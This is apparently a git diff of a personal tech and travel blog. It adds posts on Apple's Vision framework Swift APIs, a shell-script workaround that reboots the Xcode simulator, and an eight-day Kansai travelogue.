+            return
+        }
+        guard let observations = request.results as? [VNRecognizedTextObservation] else {
+            return
+        }
+        observations.forEach {
+            observation in
+            let topCandidate = observation.topCandidates(1).first
+            print(topCandidate?.string ?? "No text recognized")
+        }
+    }
+
+    let barcodesRequest = VNDetectBarcodesRequest(completionHandler: barcodesCompletionHandler)
+    barcodesRequest.symbologies = [.ean13] // If only scanning EAN13 Barcode is needed, it can be specified directly to improve performance
+    let textRequest = VNRecognizeTextRequest(completionHandler: textCompletionHandler)
+    textRequest.recognitionLevel = .accurate
+    textRequest.recognitionLanguages = ["en-US"]
+    DispatchQueue.global().async {
+        let handler = VNImageRequestHandler(url: fileURL, options: [:])
+        do {
+            try handler.perform([barcodesRequest, textRequest])
+        }
+        catch {
+            print("Request failed: \(error)")
+        }
+    }
+}
+

Output:

1
+2
+3
+4
+
94128s
+ORGANIC
+Pink Lady®
+Produce of USh
+

iOS ≥ 18 Update Highlight:

1
+2
+3
+4
+
let handler = ImageRequestHandler(fileURL)
+// parameter pack syntax and we must wait for all requests to finish before we can use their results.
+// let (barcodesObservation, textObservation, ...) = try await handler.perform(barcodesRequest, textRequest, ...)
+let (barcodesObservation, textObservation) = try await handler.perform(barcodesRequest, textRequest)
+

iOS ≥ 18 performAll( ) method

The previous perform(barcodesRequest, textRequest) method for handling Barcode scanning and text recognition required both requests to be completed before continuing execution; starting from iOS 18, a new performAll() method is provided, changing the response method to streaming, allowing corresponding processing as soon as one of the requests is received, such as responding directly when a Barcode is scanned.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+
if #available(iOS 18.0, *) {
+    // New API using Swift features
+    var barcodesRequest = DetectBarcodesRequest()
+    barcodesRequest.symbologies = [.ean13] // If only scanning EAN13 Barcodes is needed, it can be specified directly to improve performance
+    var textRequest = RecognizeTextRequest()
+    textRequest.recognitionLanguages = [.init(identifier: "zh-Hnat"), .init(identifier: "en-US")]
+    Task {
+        let handler = ImageRequestHandler(fileURL)
+        let observation = handler.performAll([barcodesRequest, textRequest] as [any VisionRequest])
+        for try await result in observation {
+            switch result {
+                case .detectBarcodes(_, let barcodesObservation):
+                if let observation = barcodesObservation.first {
+                    DispatchQueue.main.async {
+                        self.infoLabel.text = observation.payloadString
+                        // Color layer marking
+                        let colorLayer = CALayer()
+                        // iOS >=18 new coordinate transformation API toImageCoordinates
+                        // Not tested, may still need to calculate the offset for ContentMode = AspectFit:
+                        colorLayer.frame = observation.boundingBox.toImageCoordinates(self.baseImageView.frame.size, origin: .upperLeft)
+                        colorLayer.backgroundColor = UIColor.red.withAlphaComponent(0.5).cgColor
+                        self.baseImageView.layer.addSublayer(colorLayer)
+                    }
+                    print("BoundingBox: \(observation.boundingBox.cgRect)")
+                    print("Payload: \(observation.payloadString ?? "No payload")")
+                    print("Symbology: \(observation.symbology)")
+                }
+                case .recognizeText(_, let textObservation):
+                textObservation.forEach {
+                    observation in
+                    let topCandidate = observation.topCandidates(1).first
+                    print(topCandidate?.string ?? "No text recognized")
+                }
+                default:
+                print("Unrecognized result: \(result)")
+            }
+        }
+    }
+}
+

Optimize with Swift Concurrency

Assuming we have a list of image wall, and each image needs to automatically crop out the main object; this is where we can leverage Swift Concurrency to improve loading efficiency.

Original Implementation

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
func generateThumbnail(url: URL) async throws -> UIImage {
+  let request = GenerateAttentionBasedSaliencyImageRequest()
+  let saliencyObservation = try await request.perform(on: url)
+  return cropImage(url, to: saliencyObservation.salientObjects)
+}
+    
+func generateAllThumbnails() async throws {
+  for image in images {
+    image.thumbnail = try await generateThumbnail(url: image.url)
+  }
+}
+

Executing one at a time, slow efficiency and performance.

Optimization (1) — TaskGroup Concurrency

1
+2
+3
+4
+5
+6
+7
+
func generateAllThumbnails() async throws {
+  try await withThrowingDiscardingTaskGroup { taskGroup in
+    for image in images {
+      image.thumbnail = try await generateThumbnail(url: image.url)
+     }
+  }
+}
+

Adding each Task to TaskGroup Concurrency for execution.

Issue: Image recognition and cropping operations are memory-intensive. Unrestrained parallel tasks may cause user lagging and OOM crashes.

Optimization (2) — TaskGroup Concurrency + Limiting Parallelism

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
func generateAllThumbnails() async throws {
+    try await withThrowingDiscardingTaskGroup {
+        taskGroup in
+        // Maximum execution not to exceed 5
+        let maxImageTasks = min(5, images.count)
+        // Fill in 5 tasks first
+        for index in 0..<maxImageTasks {
+            taskGroup.addTask {
+                image[index].thumbnail = try await generateThumbnail(url: image[index].url)
+            }
+        }
+        var nextIndex = maxImageTasks
+        for try await _ in taskGroup {
+            // When a Task in taskGroup completes await...
+            // Check if the Index reaches the end
+            if nextIndex < images.count {
+                let image = images[nextIndex]
+                // Continue filling tasks one by one (maintaining at most 5)
+                taskGroup.addTask {
+                    image.thumbnail = try await generateThumbnail(url: image.url)
+                }
+                nextIndex += 1
+            }
+        }
+    }
+}
+

Update an existing Vision app

  1. Vision will remove CPU and GPU support for some requests on devices with a neural engine. On these devices, the neural engine is the best choice for performance. You can check using the supportedComputeDevices() API.
  2. Remove all VN prefixes VNXXRequest, VNXXXObservation -> Request, Observation
  3. Replace the original VNRequestCompletionHandler with async/await.
  4. Use *Request.perform() directly instead of VNImageRequestHandler.perform([VN*Request]).

Wrap-up

  • API designed for Swift language features
  • New features and methods are Swift Only, available for iOS ≥ 18
  • New image scoring feature, body + hand movement tracking

Thanks!

KKday Business Recruitment

👉👉👉This book club sharing is derived from the weekly technical sharing activities within the KKday App Team. The team is currently enthusiastically recruiting Senior iOS Engineer , interested friends are welcome to submit resumes.👈👈👈

Reference

Discover Swift enhancements in the Vision framework

The Vision Framework API has been redesigned to leverage modern Swift features like concurrency, making it easier and faster to integrate a wide array of Vision algorithms into your app. We’ll tour the updated API and share sample code, along with best practices, to help you get the benefits of this framework with less coding effort. We’ll also demonstrate two new features: image aesthetics and holistic body pose.

Chapters

Vision framework Apple Developer Documentation

-

Feel free to contact me for any questions or feedback.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Medium Partner Program is finally open to global (including Taiwan) writers!

iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks

diff --git a/posts/7584f643c0aa/index.html b/posts/7584f643c0aa/index.html new file mode 100644 index 0000000000..67154d618e --- /dev/null +++ b/posts/7584f643c0aa/index.html @@ -0,0 +1,25 @@ + iOS Temporary Workaround for Black Launch Screen Bug After Several Launches | ZhgChgLi
Home iOS Temporary Workaround for Black Launch Screen Bug After Several Launches
Post
Cancel

iOS Temporary Workaround for Black Launch Screen Bug After Several Launches

[iOS] Temporary Workaround for Black Launch Screen Bug After Several Launches

Temporary workaround to solve XCode Build & Run app black screen issue

Photo by [Etienne Girardet](https://unsplash.com/@etiennegirardet?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash){:target="_blank"}

Photo by Etienne Girardet

Issue

I don’t know when XCode started (maybe 14?) some projects will freeze on a black screen after multiple Build & Run on the simulator. The status stays at “Launching Application…” without any response; even rebuilding and running again doesn’t work, manual termination of the entire simulator is required to restart and fix it.

XCode 14.1: Stuck at “Launching Ap… | Apple Developer Forums Hello team, On Xcode 14.1, After building the project and when the simulator launches, it shows blank black screen… forums.developer.apple.com

New projects or projects with fewer settings encounter this issue less frequently; older projects face it more often, but due to their long history and complex settings, no definite root cause can be found through online searches, mostly speculated to be an XCode Bug (or M1?). However, this issue is very annoying, as during frequent Build & Run to check progress, the result is a black screen, requiring a complete restart each time, wasting about 1-2 minutes, disrupting development flow.

Workaround

Here is a workaround to navigate around this issue. Since we can’t avoid the black screen problem and it doesn’t occur on the first launch of the simulator during Build & Run, we just need to ensure that each Build & Run is on a freshly restarted simulator.

First, we need to obtain the Device UUID of the simulator you want to run

Run the following command in Terminal:

1
+
xcrun simctl list devices
+
  • Find the emulator device you want to use and its Device UUID.
  • Here is an example with my iPhone 15 Pro (iOS 17.5): Device UUID = 08C43D34–9BF0–42CF-B1B9–1E92838413CC

Next, we will create an auto-reboot.sh Shell Script file

  • cd /directory/where/you/want/to/place/this/script/
  • vi auto-reboot.sh

Paste the following script:

  • Replace [Device UUID] with the Device UUID of the emulator you want to use
  • Remember to update this script with the new Device UUID if you change the emulator, or it will not work
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
#!/bin/bash
+
+## Use the command below to find the Device UUID of the simulator you want to use:
+## xcrun simctl list devices
+
+# shutdown simulator
+xcrun simctl shutdown [Device UUID]
+
+# reboot simulator
+xcrun simctl boot [Device UUID]
+
  • The script is straightforward, it shuts down and reboots the specified emulator
  • ESC & :wq!

Adjust the execution permission of auto-reboot.sh:

1
+
chmod +x auto-reboot.sh
+

Return to XCode Settings

Since everyone has different preferences for emulators, I set this up in XCode Behaviors. This won’t affect project settings or impact team members on git. However, for a simple and team-wide synchronization, you can directly set it in Scheme -> Build -> Pre-actions -> sh /directory/where/you/want/to/place/this/script/auto-reboot.sh.

XCode Behaviors

  • XCode -> Behaviors -> Edit Behaviors…

  • Find the Running section
  • Choose the Completes option Completion Trigger = Stop or Rebuild
  • Check Run on the right

  • Choose Choose Script… and select the location of the newly created auto-reboot.sh file
  • Finish

Principle and Conclusion

We use XCode Behaviors to restart the emulator at the Completes (Stop or Rebuild) trigger point, just before starting the Build. This process almost always completes the restart before the Build -> Run finishes.

If you repeatedly restart, there is a chance of a slow restart, causing another black screen issue when running. However, this scenario is not considered, as this solution ensures normal execution of Build & Run App in daily use.

In terms of speed impact, I think it’s acceptable because Build & Run itself takes some time, which is usually enough time for the emulator to restart.

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks

Travelogue 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip

diff --git a/posts/76d66c2e34af/index.html b/posts/76d66c2e34af/index.html new file mode 100644 index 0000000000..2394510e30 --- /dev/null +++ b/posts/76d66c2e34af/index.html @@ -0,0 +1 @@ + Travelogue 2023 Kansai 8-Day Free and Easy Trip | ZhgChgLi
Home Travelogue 2023 Kansai 8-Day Free and Easy Trip
Post
Cancel

Travelogue 2023 Kansai 8-Day Free and Easy Trip

[Travelogue] 2023 Kansai 8-Day Free and Easy Trip

Record of an 8-day free and easy trip to Kyoto, Osaka, and Kobe in May 2023, including information on food, accommodation, and transportation.

Preface

Previously, I have only been to two Southeast Asian countries, Sabah 🇲🇾 in 2019 and Bangkok 🇹🇭 in 2018, both on group tours.

I really like the boundless blue sky and unrestrained freedom in Southeast Asia

I really like the boundless blue sky and unrestrained freedom in Southeast Asia.

ENFP

As an enthusiastic and impulsive ENFP who acts on a whim, the time between the proposal and departure of this trip was only two weeks. It all started when my friend Huang Xinping happened to have a career gap, and he, an INFJ complementing my ENFP personality, provided detailed planning while I offered enthusiastic direction. With this perfect harmony, we decided to embark on this journey on a whim.

KKday Promotion

Pre-trip Preparation

Leisure

Since everything was quite spontaneous, and we only planned to visit Universal Studios Osaka, we bought tickets online. However, due to the proximity to the travel date, all special tickets were sold out, and we had to settle for regular entry tickets.

For popular attractions and theme parks in Japan, it’s really necessary to buy tickets in advance Orz. This time, we missed out on baseball tickets, and there were no tickets available on-site, so we could only do a day tour of the venue.

For other attractions, temples, and journeys, we decided on the spot.

It’s essential to have Japanese yen as most temple tickets, souvenirs, amulets, and some trams (if you want a seat) only accept cash.

I exchanged $50,000 Japanese yen for this trip, and I had around $15,000 left at the end.

Travel

🛫

With less than a month before departure, we quickly found a flight on SkyScanner that suited our spontaneous pace:

Taipei <-> Kansai

  • 5/22 EVA Air BR 130 13:35 TPE -> KIX 17:15 (actually delayed by over 1 hour, arrived in Japan at 18:40)
  • 5/29 EVA Air BR 177 11:10 KIX -> TPE 13:05

Round trip: $14,915

It seems that since last year, the baggage check-in has changed to a combination of piece and weight system, with one piece per person weighing up to 23kg; additional charges apply for anything extra.

Buying flight tickets with a credit card often includes travel insurance, so it’s recommended to purchase tickets separately for each individual and check the insurance coverage of the credit card, as some debit cards may not have it.

You can also opt for additional travel insurance (medical, inconvenience, loss, accident, etc.) for around $1,500 for an 8-day trip.

The Flight Tracker

I recommend installing The Flight Tracker App to input flight information and track real-time flight details, including terminals, boarding gates, and baggage claim information. (It provides notifications for any changes, but it’s always best to rely on on-site information.)

You can enable iOS Live Activity feature to track in real time a few hours before the plane takes off

You can enable iOS Live Activity feature to track in real time a few hours before the plane takes off

📲

I directly bought an 8-day unlimited data SIM card from KKDAY for about $700; there is also an E-SIM version, but I prefer to switch physical SIM cards as I feel more secure.

  • You can carry the SIM card (including the SIM card pin) with you, and switch to a Japanese SIM card on the plane after a safe landing
  • Remember to turn on roaming after switching, and then restart your device
  • Unlimited data in Japan may not be truly unlimited; it may be throttled after reaching a certain usage limit, please inquire with the seller for details; it is recommended to use Wi-Fi for video calls or streaming

🚈

You can use Sucia watermelon card directly on trains, subways, or buses; it is also accepted at some convenience stores and shops.

For iPhone users, you can directly add a virtual Sucia card by going to “Wallet & Apple Pay” -> “Add Card” -> “Transit Card” -> “Japan” -> “Sucia”.

To top up with a Master Card, I failed to top up with a Visa card; It is recommended to top up in Taiwan in advance, otherwise, you may find yourself unable to top up or receive SMS verification codes in Japan, rendering the card unusable.

If you cannot use iPhone Sucia or Android; physical Sucia cards in Japan are currently out of stock, so you can only purchase the 28-day Welcome Suica limited-time watermelon card, which can be topped up and used, but it will become invalid after the expiration date and no refunds are available.

Apple Watch also supports Suica (not interchangeable with iPhone), remember to set it up and top up in Taiwan beforehand.

When using the iPhone transit card, you do not need to bring up the Apple Pay interface specifically when tapping; just take out your device and tap directly (it will wake up the interface automatically).

Accommodation

I mainly used Agoda to find places near train and subway stations.

Kyoto 2 nights: Toyoko Inn Kyoto Shijo Omiya

Toyoko Inn was recommended by friends from Northeast Asia, it is a chain hotel with high value for money and reliable quality, and it includes a Japanese-style breakfast (rice ball or curry rice).

Due to booking late, only Toyoko Inn Shijo Omiya in Kyoto had available rooms; it is about 3 kilometers away from Kyoto Station:

NT$3,844 for 2 persons

Osaka 4 nights: APA Hotel Osaka Umeda

Due to late booking, there were limited choices; we chose another chain hotel, APA, which is closer to the station but slightly more expensive; it does not include breakfast but has facilities such as a swimming pool, public baths, etc.

It is about a 15-minute walk from Osaka Umeda Station:

NT$21,459 for 2 persons

Pre-entry application (Fast track)

No need to apply for a visa, no need to provide COVID vaccine/nucleic acid proof; after booking flights and accommodation, you can fill in the entry information on Visit Japan, and once your phone connects to the internet after landing, you can directly enter the country, if not pre-applied, you will have to fill out a paper form on the spot.

1. Register: https://www.vjw.digital.go.jp/main/#/vjwpco001 account

  • The password rules may not be what you are used to, so please remember it or write it down separately to avoid forgetting it when you need to use it upon entry in Japan

2. Choose “Register for Entry/Return”

3. Enter flight information for entry

Image for illustration purposes only

Image for illustration purposes only

Travel Name: Customized for personal use

4. Enter contact information in Japanese

Image for illustration purposes only

Image for illustration purposes only

I am entering the hotel information for the first day of stay, using Google to find the English version of the hotel address and hotel contact number (does not need to be too accurate, just not too far off, at least the hotel name should be correct).

5. Log in to make a reservation

Image for illustration purposes only

Image for illustration purposes only

6. Select “Return to Immigration and Customs Procedures” to continue filling out the information

7. Select “Foreigner’s Entry Record”

8. Fill out basic information

The duration of stay includes arrival and departure, totaling 8 days.

Complete the registration in the final step:

9. Select “Return to Immigration and Customs Procedures” again to fill out “Customs Declaration Preparation”

After filling out the basic information, keep selecting “No” until completing the registration:

10. Completion

Steps upon entry:

  • Connect to the internet, log in to the website
  • Step 1, immigration inspection, find “Immigration Inspection Preparation” and select “Display QR Code”

  • Scroll down to the bottom of the webpage to find “Display QR Code”

  • Present your passport and QR code to the immigration officer (yellow code)

  • Step 2, claim your luggage and exit customs, click on “Customs Declaration QR Code” (blue code)

Scan your passport and this QR code at the self-service customs inspection machine, confirm, and you will have completed the entry process.

Day 1 Departure

Log in to the airline’s website or email for online check-in, and you can directly add the ticket to Apple Pay for complete digitization.

A1 Taipei Main Station Pre-check-in

As it is a noon flight, leave in the morning, arrive at the A1 Taipei Main Station of the Airport MRT at 9 o’clock for pre-check-in:

Pre-check-in = Complete check-in + luggage inspection + baggage check at A1 Taipei Main Station (also available at A13 New Taipei Industrial Park); you can go through immigration directly at the airport without queuing at the counter.

If coming from the MRT, remember not to go directly down the escalator to the Airport MRT, as pre-check-in is outside the Airport MRT.

Restrictions:

  • Only available for certain airlines, for details please refer to the official website
  • Check-in and baggage drop-off must be completed 3 hours before the scheduled flight departure on the same day

Service Hours:

  • A1 Taipei Main Station 06:00~21:30
  • A3 New Taipei Industrial Park Station 09:00~16:00

Going to the airport with empty hands to Terminal 2

Remember to check the airport shuttle official website for direct shuttle schedules before heading out. It’s better to control the actual time to the airport; be sure to take the direct shuttle.

Waiting for the flight

Leaving too early + pre-boarding, there’s still nearly 3 hours after exiting before takeoff.

Airport with few people at noon

Airport with few people at noon

Having Lin Dongfang beef noodles while waiting for the flight

Having Lin Dongfang beef noodles while waiting for the flight

Surprisingly, there's Xingbo Coffee!

Surprisingly, there’s Xingbo Coffee!

Delayed landing led to a delay of over an hour for takeoff

Due to a delayed landing, the takeoff was delayed by over an hour.

Not sure if it’s because of pre-boarding, the ground staff announced our names during the waiting time to confirm our presence and boarding.

Bye 🇹🇼

Bye 🇹🇼

After the plane landed, changed to a Japanese SIM card and connected to the internet, then logged into Vista Japan to complete the immigration and customs procedures.

Heading to Kyoto

After clearing customs at Kansai Airport, we directly took the JR Kanku Special Rapid Service HARUKA to Kyoto Station, about 1.5 hours, with only a few stops along the way.

It’s recommended to buy tickets at the ticket machine to ensure you have a seat.

Seeing the iconic Kyoto Tower right after leaving the station

Seeing the iconic Kyoto Tower right after leaving the station

Then took a taxi to the hotel (didn’t take the bus because of luggage, otherwise there would be a bus available); combined with the flight delay, we arrived at the hotel around 9 pm on the first day.

Toyoko Inn Kyoto Shijo Omiya

Toyoko Inn Kyoto Shijo Omiya

There was a staff member at the hotel reception who spoke Chinese, so I asked her for advice on tomorrow’s itinerary for a smoother experience - very friendly and convenient!

Toyoko Inn Kyoto Shijo Omiya

The room was cool, with two single rooms connected by a shared bathroom with a full-length mirror.

Hanamaru Kaiten Sushi Seisakujo Omiya Store

Hanamaru Kaiten Sushi Seisakujo Omiya Store

It was late, so after settling in at the hotel, we went out nearby to find something to eat and decided on a skewer restaurant.

Plum Tea Rice

Plum Tea Rice

Starting at 80 yen per skewer, fresh, delicious, and cheap! Unexpectedly delightful, but when we wanted to visit again the next day, the shop was closed. QQ

After eating, we went to the convenience store LAWSON to buy some late-night snacks to continue eating at the hotel:

Soy Sauce Fried Noodles

The soy sauce fried noodles were just okay, but they felt heavy to eat.

Day 2 (Kiyomizu-dera, Kinkaku-ji, Kyoto Tower)

In the early morning, we packed breakfast downstairs and ate in the room:

Curry Rice

Curry rice, a bit too heavy for breakfast, prefer Western or Taiwanese breakfast.

Yasaka Shrine

After breakfast, we took a bus to Yasaka Shrine:

Yasaka Shrine

We walked to Kiyomizu-dera along the way:

Kiyomizu-dera

Kyoto’s streets are so clean that even the roadside cement blocks are not dirty.

Yasaka Pagoda

Yasaka Pagoda

Stopped at a shop halfway for iced matcha and black sugar dumplings:

Iced Sake Ice Cream

Kiyomizu-dera

Arrived at Kiyomizu-dera:

Kiyomizu-dera

The sun was scorching, and there were many people.

Kiyomizu-dera

Kiyomizu-dera

Kiyomizu-dera

Otowa Waterfall

Otowa Waterfall

Lined up to pray for success in academics, love, health, and longevity at the waterfall.

After the visit, we walked back to Yasaka Shrine, casually ate a rice bowl and bought a cup of coffee on the way:

Rice Bowl

In the afternoon, took a bus to “Kaohsiung”… (just kidding, it’s Kinkaku-ji)

Kinkaku-ji

After getting off the bus, it takes about a 15-minute walk to reach Kinkaku-ji:

Kinkaku-ji

Kinkaku-ji

Kinkaku-ji

Kinkaku-ji

The bus stop on the way back was crowded, so if you’re agile, like us, you can walk to the next intersection to catch another bus route and avoid the crowd, heading to Kyoto Tower.

Kyoto Tower

Around 5:30 pm, we arrived at the Kyoto Tower observation deck:

Kyoto Tower

You can overlook Kyoto from the tower, and there’s a bar downstairs. We planned to go down to rest and come back up for the night view, but we found out that re-entry was not allowed once we went down, so we gave up.

Kyoto Tower

Here’s a photo of the Kyoto Tower night view taken from outside after we left. (The weather was really nice)

Cute Souvenirs

Cute little things

Go to the convenience store and buy some instant noodles for supper at the hotel.

Day 3 (Arashiyama, Osaka)

Didn’t have breakfast at the hotel the next day, got up early, checked out, stored luggage, and headed to Arashiyama.

Having McDonald's breakfast (cheaper than Taiwan by $15)

Having McDonald’s breakfast (cheaper than Taiwan by $15)

After eating, walk across the street and take a ride to Arashiyama

After eating, walk across the street and take a ride to Arashiyama

Shijo Omiya is the starting station, take it directly to the final station Arashiyama, very convenient and always have seats.

Arashiyama

Arrival:

First, walk towards Arashiyama after arrival:

You can experience taking a boat to see the river view (similar to Bitan in Taiwan?)

For those with good physical strength, you can choose a small hike:

We went hiking to see monkeys and the panoramic view. It takes about 30-45 minutes from the bottom of the mountain to the top, not difficult to walk.

There are really monkeys

There are really monkeys

After descending, on the way back, we had lunch with tempura soba noodles:

Ordered wrong, shouldn’t have ordered tempura rice, it became soba noodles + tempura rice hole.

After eating, head in another direction towards “Tenryu-ji Temple”:

Tenryu-ji Temple

Come out from the back door of Tenryu-ji Temple and go directly to the bamboo forest:

There are really a lot of people, find a good angle for photos 🥵

It’s also beautiful to take photos from bottom to top.

Having ice cream after descending, getting ready to head back

Having ice cream after descending, getting ready to head back

Bought local sake as a souvenir

Bought local sake as a souvenir

Return to Shijo Omiya to the hotel to pick up luggage and prepare to go to Osaka:

The hotel is right outside Hankyu Omiya Station

The hotel is right outside Hankyu Omiya Station

When I first came here on the first day, I felt a bit inconvenient because it was a distance from Kyoto Station; but later I found it was actually great; it’s the central point of Kinkaku-ji and Kiyomizu-dera, there is a direct tram to Arashiyama when you come out, and it’s also direct to Osaka (remember about an hour).

When first arriving in Osaka, it’s easy to get lost, there are many exits, Osaka and Umeda are actually the same location.

Arrival at APA Hotel

APA Hotel Osaka Umeda

Huang Xinping

The hotel rooftop has a free outdoor swimming pool, a convenience store inside the hotel, and a free public bath.

After dropping off the luggage, go out to find food:

Tengu Sakaba Sonezaki Ohatsu Tenjin Street Store, five skewers of grilled chicken for 385 Japanese yen... cheaper than Taiwan!

There is a bear in the amusement park that makes fun of itself!!

Day 4 Osaka Castle, Tsuruhashi, Nintendo

Following the instructions on Google Maps, take the train and then walk to Osaka Castle. The walking part from the station to the moat and then to the main castle takes about 30 minutes, a bit of a distance.

The line at the ticket counter is very long, you can purchase tickets online here to enter without waiting.

Osaka Castle

View of Osaka from the top:

There is a history of the Warring States on each floor inside:

After leaving Osaka Castle, we walked around nearby and looked for food.

Then we went to the outskirts of Tsuruhashi to buy some things at small shops.

Tsuruhashi

We walked around Tsuruhashi, which seems to be a non-touristy area with few tourists; quite a few Korean peripheral shops, more like a Korean town for Japanese people.

Just came to find some Korean cultural and creative items, later found out that Taiwan also sells them -_-

Nintendo

After walking around Osaka for a long time, my feet couldn’t take it anymore; fortunately, on the way back, we stopped by Nintendo when returning to Osaka Umeda Station.

Osaka Nintendo is located upstairs at Daimaru Department Store next to the station.

Went crazy buying The Legend of Zelda merchandise:

Everything is of high quality, the badges are made of metal, and the workmanship is very delicate.

Day 5 Universal Studios

KKday Universal Studios Japan | Universal Express Pass

Didn’t buy the Express Pass, didn’t go to Super Mario World early in the morning to queue up; we took a relaxed and casual approach and entered the park after 10 a.m.

There were a lot of people entering the park, so we quickly checked the Super Mario World tickets on the app; luckily, the expert Huang Xinping won the 5 p.m. entry qualification for Super Mario World.

First, we went to the Harry Potter themed area:

Butterbeer

Butterbeer

We queued to buy Butterbeer (non-alcoholic, very sweet); felt that if we really wanted to collect it, we should buy the most expensive glass.

Next stop, Jurassic Park:

We queued for the rides, about 45 minutes wait; sat in the front row.

Similar to a volcano adventure, it will rush down at the end 🥵 (I’m afraid of the feeling of weightlessness).

USJ Jussia Park

But fortunately, I still had fun. Later, I saw the news that this facility will be reorganized starting in June and will probably be closed for a few years.

After playing, started wandering around and looking for food around noon

The scenery inside is very realistic, you would think you are in the 🇺🇸 without saying it.

NO LIMIT! Parade!

NO LIMIT! Parade featuring Pokémon & Mario Kart First Performance - Universal Studios Japan

Yoshi!!

Yoshi!!

Unexpectedly fun at the beginning, the melody is still in my mind today!

There will be floats (Mario, Pokémon, Sesame Street… characters) and dancers leading the parade, stopping at each section to get everyone to dance together! All staff, including those maintaining order, will also dance together, creating a strong sense of involvement!

Super Mario World

East and west sway, around five o’clock head to Super Mario World.

Image 1

Image 2

Image 3

I have to admire the scene design, completely bringing the game world to reality, like stepping into a paradise!

As it was close to closing time, I didn’t buy a watch to play interactive scenes, just went to queue for Yoshi’s facility.

Image 4

Image 5

Image 6

Image 7

Image 8

Every detail is done very delicately!

Farewell

Before closing, I took some night views of Universal Studios, many crowded places became great for photography.

Image 9

Image 10

Especially in the Harry Potter themed area, the scenes originally crowded with wand interactions were empty before closing, saw a sister playing alone and enjoying every interactive scene XD

Image 11

Image 12

Finally took a picture of the globe, goodbye Universal.

At night, had izakaya dinner, bought Nissin instant noodles as a midnight snack (after eating back and forth, this is still the best).

Image 13

Day 6 Kobe, Dotonbori

Early in the morning, took a train to Kobe.

Image 14

First went to explore Kobe shopping street.

Image 15

Tried the famous Kobe beef croquette.

Image 16

Walked from the shopping street to Kobe Port.

Image 17

Image 18

Realized Kobe Tower was under maintenance QQ

Completion time details uncertain

Completion time details uncertain

On the way back, strolled through the streets of Kobe.

Image 19

Image 20

Found a cafe in Kobe to take a break:

Image 21

Strawberry chocolate milkshake, tasty but very sweet.

Dotonbori

From Kobe to Dotonbori

Had dinner at the famous Osaka Shinsekai Kushikatsu Ittoku.

Image 22

Image 23

After eating, started the tourist itinerary, took photos of landmarks, and went to a drugstore to shop.

Image 24

Glico

Glico

Glico

Back to Taiwan and only realized I took the wrong photo after checking IG XD. There are better photo spots when entering from the nearby department store.

Back to the hotel to continue eating instant noodles and drinking sake as supper.

No impression of the taste

No impression of the taste

[_KKday Osaka Sightseeing PassOsaka e-Pass_](https://www.kkday.com/zh-tw/product/114351-osaka-sightseeing-pass-osaka-e-pass-japan?cid=19365&ud1=76d66c2e34af){:target=”_blank”}

Day 7 Koshien, Namba, Drugstores, Shopping

Last day countdown to return to Taiwan, a sightseeing itinerary.

Koshien, failed to check in

Decided impulsively in the early morning to go to Koshien to watch the Hanshin Tigers baseball game, took the subway to Koshien Station.

Koshien Baseball Stadium

The Koshien Baseball Stadium is right outside the station.

Koshien Baseball Stadium

But we were out of luck, unlike in Taiwan where there are always seats at baseball games, all Hanshin games were sold out until July; you have to buy tickets early, otherwise, you can only do a day trip outside the stadium.

Finally, we had something to eat nearby, bought some Hanshin Tigers souvenirs, and went to Cafe de L’ambre for a coffee before leaving.

I always thought it was called "Coffee Place"

I always thought it was called “Coffee Place”

Hanshin Tigers sticker

Hanshin Tigers sticker

Namba

After leaving Koshien, we went to Namba for shopping.

Namba Shopping

Also had some takoyaki and crab legs by the roadside.

Takoyaki and Crab Legs

Takoyaki and Crab Legs

Perhaps we went to the wrong store, felt quite ordinary.

Walked back to Dotonbori and headed to the original Don Quijote store.

Only the original store has a Ferris wheel

Only the original store has a Ferris wheel

After shopping, we returned to Osaka in the evening and found an izakaya near our accommodation for our final dinner.

Final dinner in Osaka

Final dinner in Osaka

Took one last look at the Osaka night view.

Day 8 Return Journey

The flight was at noon, so we checked out at 7 am to head to Kansai Airport.

Kansai Airport

The weather in Osaka changed today, it started to rain, fitting for the farewell mood.

Osaka skyline as a farewell

Took a final photo of the Osaka skyline as a farewell.

Originally planned to take the train to Kansai Airport, but dragging luggage up and down; the day before, I specifically explored the bus route back (including time and station location). Went to the bus station early in the morning to check the crowd, luckily there weren’t many people in line, so we bought bus tickets to Kansai Airport and comfortably took the bus directly to Kansai Airport.

Enjoying the last Osaka skyline along the way

Long queue at the counter upon arrival at the airport

Finally found the troubleshooting counter, we completed the online check-in with just a click and could go directly to the luggage check-in counter! Saved almost an hour.

Actually, I really want to tell the people queuing, if you open the webpage now and click to receive the e-ticket, you can go to check in your luggage and then go through immigration.

After going through immigration, there weren’t many food options or stores under renovation at Kansai Airport, so I ended up buying a tonkatsu curry toast from New World.

Image

Waiting to board the flight back to Taiwan.

Image

Image

Safely arrived in Taiwan in the afternoon, time to rest at home! 🇹🇼

Loot

Image

Image

Image

Didn’t buy much actually, just bought whatever caught my eye; after comparing, I found that the drugstore coming out of Kyoto Station was the cheapest (about $100-$300 yen cheaper than Osaka), with Don Quijote being the most expensive.

Youtube

The theme song of Yodobashi is really catchy, got brainwashed right after strolling in Kyoto.

The duty-free shopping rule in Japan requires a minimum of ¥5,000 to be eligible for tax exemption with your passport. They seal the items in a plastic bag, which you can only open upon returning home (the photos were taken at home; if you open it within the country and get checked upon exiting, you may have to pay taxes, but it didn’t seem like they were checking; remember to note that liquids can only be checked in, if there are liquids inside the sealed items, they must be checked in as a whole).

Apart from famous snacks, I mostly looked for local products from century-old shops, can’t guarantee they’re delicious but they’re guaranteed to be century-old; the recommended snacks by everyone are guaranteed to be delicious, but be prepared to queue + they’re not century-old XD

In the end, it’s best to find delicious food!

Afterword

Fell in love with Japan on my first visit, already planning my next trip back.

